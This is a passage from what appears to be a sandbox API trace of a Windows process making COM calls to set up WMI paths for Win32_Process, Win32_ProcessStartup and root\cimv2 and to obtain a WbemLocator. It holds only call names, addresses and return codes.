Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1a994ab0) returned 0x0 [0124.151] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a994ab0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.151] WbemDefPath:IUnknown:Release (This=0x1a994ab0) returned 0x3 [0124.151] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0124.151] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0124.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0124.151] WbemDefPath:IUnknown:Release (This=0x1a97f250) returned 0x2 [0124.151] WbemDefPath:IUnknown:Release (This=0x1a97f250) returned 0x1 [0124.163] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0124.163] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0124.163] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f250, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a97f250) returned 0x0 [0124.164] WbemDefPath:IUnknown:AddRef (This=0x1a97f250) returned 0x3 [0124.164] WbemDefPath:IUnknown:Release (This=0x1a97f250) returned 0x2 [0124.176] WbemDefPath:IWbemPath:SetText (This=0x1a97f250, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0124.205] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f250, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0124.205] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f250, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0124.206] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f250, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0124.207] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97f250, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0124.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f250, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0124.207] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97f250, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0124.209] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0124.209] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0124.209] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0124.209] IUnknown:Release (This=0x1a943398) returned 0x0 [0124.211] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1a994e30) returned 0x0 [0124.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a994e30, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0124.211] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a994e30, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a97f790) returned 0x0 [0124.211] WbemDefPath:IUnknown:Release (This=0x1a994e30) returned 0x0 [0124.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a97f790) returned 0x0 [0124.211] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0124.211] WbemDefPath:IUnknown:AddRef (This=0x1a97f790) returned 0x3 [0124.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0124.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0124.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1a994970) returned 0x0 [0124.212] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a994970, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.212] WbemDefPath:IUnknown:Release (This=0x1a994970) returned 0x3 [0124.212] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0124.212] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0124.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0124.212] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x2 [0124.212] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x1 [0124.212] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0124.212] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0124.212] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f790, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a97f790) returned 0x0 [0124.212] WbemDefPath:IUnknown:AddRef (This=0x1a97f790) returned 0x3 [0124.212] WbemDefPath:IUnknown:Release (This=0x1a97f790) returned 0x2 [0124.212] WbemDefPath:IWbemPath:SetText (This=0x1a97f790, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0124.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0124.212] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0124.212] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f790, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0124.212] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97f790, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0124.212] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0124.212] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a97f790, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0124.221] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f790, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0124.221] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d668 | out: ppv=0x1bb7d668*=0x1a943398) returned 0x0 [0124.221] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7d658 | out: pAptType=0x1bb7d658*=1) returned 0x0 [0124.222] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x0) returned 0x80004002 [0124.222] IUnknown:Release (This=0x1a943398) returned 0x0 [0124.223] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7ca80 | out: ppv=0x1bb7ca80*=0x1a994e10) returned 0x0 [0124.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a994e10, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7cac8 | out: ppvObject=0x1bb7cac8*=0x0) returned 0x80004002 [0124.224] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a994e10, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ca78 | out: ppvObject=0x1bb7ca78*=0x1a97f9d0) returned 0x0 [0124.224] WbemDefPath:IUnknown:Release (This=0x1a994e10) returned 0x0 [0124.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f9d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7c888 | out: ppvObject=0x1bb7c888*=0x1a97f9d0) returned 0x0 [0124.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f9d0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7c930 | out: ppvObject=0x1bb7c930*=0x0) returned 0x80004002 [0124.224] WbemDefPath:IUnknown:AddRef (This=0x1a97f9d0) returned 0x3 [0124.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f9d0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7bfd8 | out: ppvObject=0x1bb7bfd8*=0x0) returned 0x80004002 [0124.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f9d0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7bf60 | out: ppvObject=0x1bb7bf60*=0x0) returned 0x80004002 [0124.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f9d0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7bf50 | out: ppvObject=0x1bb7bf50*=0x1a994bd0) returned 0x0 [0124.224] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a994bd0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7bf78 | out: pCid=0x1bb7bf78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.224] WbemDefPath:IUnknown:Release (This=0x1a994bd0) returned 0x3 [0124.224] CoGetContextToken (in: pToken=0x1bb7c000 | out: pToken=0x1bb7c000) returned 0x0 [0124.224] CoGetContextToken (in: pToken=0x1bb7c480 | out: pToken=0x1bb7c480) returned 0x0 [0124.224] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f9d0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7c540 | out: ppvObject=0x1bb7c540*=0x0) returned 0x80004002 [0124.224] WbemDefPath:IUnknown:Release (This=0x1a97f9d0) returned 0x2 [0124.224] WbemDefPath:IUnknown:Release (This=0x1a97f9d0) returned 0x1 [0124.225] CoGetContextToken (in: pToken=0x1bb7d2a0 | out: pToken=0x1bb7d2a0) returned 0x0 [0124.225] CoGetContextToken (in: pToken=0x1bb7d1a0 | out: pToken=0x1bb7d1a0) returned 0x0 [0124.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97f9d0, riid=0x1bb7d300*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7d2d0 | out: ppvObject=0x1bb7d2d0*=0x1a97f9d0) returned 0x0 [0124.225] WbemDefPath:IUnknown:AddRef (This=0x1a97f9d0) returned 0x3 [0124.225] WbemDefPath:IUnknown:Release (This=0x1a97f9d0) returned 0x2 [0124.225] WbemDefPath:IWbemPath:SetText (This=0x1a97f9d0, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0124.225] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0124.225] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0124.225] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.225] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0124.225] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0124.225] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0124.225] IUnknown:Release (This=0x1a943398) returned 0x0 [0124.227] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1a9d13a0) returned 0x0 [0124.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d13a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0124.227] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d13a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1a97fa90) returned 0x0 [0124.227] WbemDefPath:IUnknown:Release (This=0x1a9d13a0) returned 0x0 [0124.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1a97fa90) returned 0x0 [0124.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0124.227] WbemDefPath:IUnknown:AddRef (This=0x1a97fa90) returned 0x3 [0124.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0124.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0124.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1a9d13e0) returned 0x0 [0124.227] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d13e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0124.228] WbemDefPath:IUnknown:Release (This=0x1a9d13e0) returned 0x3 [0124.228] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0124.228] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0124.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0124.228] WbemDefPath:IUnknown:Release (This=0x1a97fa90) returned 0x2 [0124.228] WbemDefPath:IUnknown:Release (This=0x1a97fa90) returned 0x1 [0124.228] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0124.228] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0124.228] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a97fa90, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1a97fa90) returned 0x0 [0124.228] WbemDefPath:IUnknown:AddRef (This=0x1a97fa90) returned 0x3 [0124.228] WbemDefPath:IUnknown:Release (This=0x1a97fa90) returned 0x2 [0124.228] WbemDefPath:IWbemPath:SetText (This=0x1a97fa90, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0124.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97fa90, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0124.228] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fa90, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0124.228] WbemDefPath:IWbemPath:GetText (in: This=0x1a97fa90, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0124.228] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0124.229] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0124.229] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0124.229] IUnknown:Release (This=0x1a943398) returned 0x0 [0124.229] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1bb7dfe8 | out: lpiid=0x1bb7dfe8) returned 0x0 [0124.230] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1a9d14e0) returned 0x0 [0124.382] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9d14e0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0124.382] 